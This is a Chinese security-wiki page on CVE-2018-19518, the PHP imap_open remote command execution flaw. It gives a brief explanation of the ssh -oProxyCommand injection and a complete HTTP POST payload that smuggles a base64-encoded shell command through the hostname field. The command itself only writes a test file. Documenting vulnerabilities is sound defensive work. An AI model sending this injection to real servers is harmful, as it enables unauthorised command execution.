menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 101-PHP chevron_right 005-(CVE-2018-19518)PHP imap 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    005-(CVE-2018-19518)PHP imap 远程命令执行漏洞.md
    1 KB / 2021-07-17 00:01:28
        # (CVE-2018-19518)PHP imap 远程命令执行漏洞
    
    ## 一、漏洞简介
    
    php imap扩展用于在PHP中执行邮件收发操作。其`imap_open`函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
    
    因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
    
    ## 二、漏洞影响
    
    ## 三、复现过程
    
    ```bash
    POST / HTTP/1.1
    Host: www.baidu.com
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 125
    
    hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
    
    ```
    
    ![1.png](images/2020_06_13/6ebf190a2208441aad853e8f1402ba66.png)
    
    
    
    links
    file_download